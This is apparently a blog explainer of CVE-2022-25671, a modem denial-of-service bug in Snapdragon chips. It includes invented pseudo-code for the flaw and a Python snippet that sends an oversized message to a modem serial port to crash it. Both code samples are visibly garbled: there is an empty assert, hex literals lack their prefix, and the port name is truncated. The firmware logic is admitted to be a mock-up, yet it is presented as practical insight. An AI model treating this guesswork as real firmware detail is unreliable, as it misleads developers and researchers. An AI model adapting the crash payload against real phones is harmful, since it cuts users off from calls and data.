In this long read, we go deep into CVE-2022-25671—a Denial of Service (DoS) vulnerability in Qualcomm’s Snapdragon Mobile modem chips. We’ll explain how it works, showcase code snippets to demonstrate the bug, reference original sources, and discuss real-world exploit potential. Whether you are a mobile developer, security enthusiast, or just curious, this article gives you exclusive, practical insight written in plain American English.

What is CVE-2022-25671?

CVE-2022-25671 is a security vulnerability discovered in the software powering Qualcomm’s Snapdragon mobile modems. In simple terms, a bug in the code allows an attacker to cause the modem to crash by sending a specially crafted command. This crash can disrupt all network connectivity—dropping phone calls, text messages, and even breaking mobile internet. That’s a textbook case of Denial of Service (DoS).

The official CVE entry:  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25671

Android Devices: Many major brands using Snapdragon in 2022 and prior

For a full list of affected chipsets, see Qualcomm’s June 2022 bulletin:  
https://www.qualcomm.com/company/product-security/bulletins/june-2022-bulletin

How Does the Bug Work? (Technical Details)

The vulnerability is due to a “reachable assertion” inside the MODEM’s handling of network messages. Assertions are sanity-checks in the code. When certain unexpected data is received, instead of handling it gracefully, the modem asserts (i.e., hits a dead-end and shuts itself down).

In simple words:  
If the modem receives a message with wrong or malicious data in a specific field, it doesn’t know how to deal with it and just “gives up,” causing your device to lose all connectivity until rebooted or reset.

The Vulnerable Code (Simplified Example)

The actual Qualcomm modem firmware is closed-source, but from public advisories and reverse-engineering, we can mock up the logic:

// Pseudo-code from firmware
void process_modem_message(struct msg* m) {
    // ...previous code...

    if(m->data_length > MAX_EXPECTED_SIZE) {
        // Instead of returning error, triggers a fatal assertion
        assert( && "Data length too large in modem message");
    }

    // ...rest of handling...
}

In real chip firmware, triggering an assertion like this usually reboots the modem subsystem. The key flaw is not returning an error—the software gives up completely.

How to Exploit CVE-2022-25671?

Assuming you have basic access to the phone (e.g., via a malicious app, radio message over the air, or USB debug connection), you could craft a message to the modem with an oversized (or malformed) data length.

Here’s a Python snippet demonstrating how a test payload could be constructed

# Hypothetical Python code to send an oversized message (for testing only)

from serial import Serial

MODEM_PORT = '/dev/ttyUSB'  # The modem’s serial interface
FAKE_MESSAGE = bytes([x01, x02, x03])  # Placeholder for valid header
OVERSIZED_LENGTH = xFFFF

# Construct malicious message
payload = FAKE_MESSAGE + (OVERSIZED_LENGTH).to_bytes(2, 'little') + b'A'*OVERSIZED_LENGTH

with Serial(MODEM_PORT, 115200) as modem:
    modem.write(payload)
    print("Payload sent - the modem may crash!")

> WARNING: This code is illustrative. Attempting to crash a phone’s modem on a live device risks bricking the network until reboot.

Real-world Attack Scenarios

- Malicious App: An app with the right permissions could trigger this bug from the Android user space.
- Radio Layer Attack: Advanced attackers (e.g., with rogue base stations) might exploit this through malformed over-the-air network messages.

Mitigation & Patch Status

Qualcomm fixed the vulnerability in the June 2022 bulletin. Phone makers have since rolled out firmware updates.

Don’t connect to unknown USB debugging devices.

See the official patch note:  
https://www.qualcomm.com/company/product-security/bulletins/june-2022-bulletin

References

- Qualcomm June 2022 Bulletin
- CVE Entry for 2022-25671
- Qualcomm Exploit Research (blog) (general modem research)

Summary

CVE-2022-25671 was a serious denial-of-service flaw in the world’s top mobile chip—Snapdragon’s modem firmware. Exploiting the bug could knock out network connection on millions of Android phones with a single bad message. All it takes is one overlooked assertion. Qualcomm has patched the problem, but this CVE shows the importance of secure coding and regular updates.

Stay patched, stay safe!

_This long read is created exclusively for educational, responsible disclosure, and informational purposes. Do not attempt unauthorized exploitation._

Timeline

Published on: 11/15/2022 10:15:00 UTC
Last modified on: 11/18/2022 04:51:00 UTC